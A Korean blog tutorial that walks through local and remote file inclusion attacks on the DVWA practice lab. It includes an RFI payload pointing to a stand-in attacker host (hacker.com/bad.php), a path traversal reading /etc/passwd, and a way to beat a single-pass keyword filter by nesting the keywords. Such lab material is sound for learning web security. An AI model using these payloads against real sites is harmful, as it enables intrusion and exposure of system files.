안녕하세요. 오늘은 파일 인클루젼 공격에 대해 알아보겠습니다.
파일 인클루젼 공격은 주로 PHP Application 에서 발생합니다. 그 이유는 PHP include() 로 앱 요청을 지정할 수 있다면 파일을 직접 소스코드에 삽입할 수 있기 때문입니다.
-로컬파일인클루젼(LFI) : 웹 서버에 이미 존재하고 있는 파일을 인클루드
-리모트파일인클루젼(RFI) : LFI 보다 더 강력한 공격으로 원격으로 외부에 있는 파일을 인클루드
정상적 웹 사이트 page=file.php 이렇게 파일을 인클루드 하는데
해커는 자신의 사이트를 통해 page = htpp://hacker.com/bad.php 인클루드 시켜버립니다. 만약 검사를 따로 하지 않는다면 웹 사이트는 그대로 악성코드를 실행시키게 되는 겁니다.
이제 파일 인클루젼 공격을 DVWA 에서 실습해보도록 하겠습니다.
RFI를 실습해보겠습니다. 일단 간단한 파일을 만들어서 xampp에 돌고있는 웹서버에 올려두고 이것을 원격에 있는 해커 사이트로부터 인클루드시킬 악성파일로 간주하겠습니다.
간단한 php 코드입니다. 이렇게 하면 저 문자열이 출력이 됩니다.
이제 DVWA 의 보안 설정을 LOW 로 정해주고 File Inclusion 탭으로 가봅시다.
이 화면은 url 상에 나타난 'include.php'파일이 인클루드되어 전체 화면이 나타나는 것 입니다.
파일1을 확인해보겠습니다. 현재 ID와 IP 주소를 확인하고 있습니다. 이때 url 을 확인하면
file2 와 file3도 확인해줍니다. 다른 프로그램들이 실행되고 있습니다.
이제 RFI공격을 해보겠습니다. 주소창에 다음과 같이 입력합니다.
'RFI Success'를 볼 수 있습니다. gedit 에서 내용을 변환시키면 바뀌어서 실행이 됩니다.
새로고침을 하면 다음과 같이 나옵니다.
이번에는 LFI 공격을 해보겠습니다. LFI 는 이미 존재하는 시스템 파일에만 접근할 수 있어서 RFI 보단 약하지만 여전히 주요한 파일을 읽을 수 있습니다. 주소창에 page = 에 바로 '/etc/passwd'를 입력해보겠습니다.
LFI 공격에 성공했습니다. 이런 것도 가능합니다. 리눅스에서는 ../ 을 사용하면 현재 경로의 상위 폴더로 갈 수 있습니다. (윈도우에서는 ..\ 입니다)
../ 을 충분히(6개 정도) 쳐주시고 '/etc/passwd/'를 입력하면 사용자 정보에 접근할 수 있습니다.
이와 같이 '../'를 이용한 공격을 패스 트래버설(Path Traversal 공격) 이라고 합니다.
꼭 LFI 가 아니더라도 파일을 다운 받을때 패스 트래버설을 이용하여 다른 파일을 다운받는 사례가 있었습니다.
이제 미디엄단계를 실습해보겠습니다.
전과 똑같이 주소창에서 RFI 를 실행해보겠습니다.
소스 코드를 확인해보겠습니다.
보면 RFI 와 패스트래버셜을 사용할 수 있는 키워드들을 지워버림으로 파일 인클루션공격을 대응하고 있습니다.
하지만 이 미디엄 레벨에서 문제는 이 키워드를 한번만 지워준다는 겁니다. 이런 경우에는 중간에 한번 더 집어넣음으로 우회가 가능합니다.
이렇듯 입력값 검사로 파일 인클루젼을 대응할 경우에는 철저하게 감사하여 대응해야합니다.
이제 high 단계로 가보겠습니다.
앞에 방법들과 똑같이 실행하면 에러가 납니다.
이 방법은 CSRF 와 동일하게 XSS 와 조합해서 써야하기 때문에 나중에 새로 포스팅 하겠습니다!
파일 인클루젼 공격대응을 알고 싶으시다면 밑에 포스팅을 클릭해주세요.
https://com24everyday.tistory.com/37
'해킹 > 웹해킹' 카테고리의 다른 글
파일 업로드 공격 (0) | 2020.05.06 |
---|---|
파일 인클루젼 공격대응 (0) | 2020.05.04 |
CSRF 공격대응 (0) | 2020.05.03 |
CSRF공격 (0) | 2020.05.03 |
커맨드 인젝션 공격 대응 (0) | 2020.05.02 |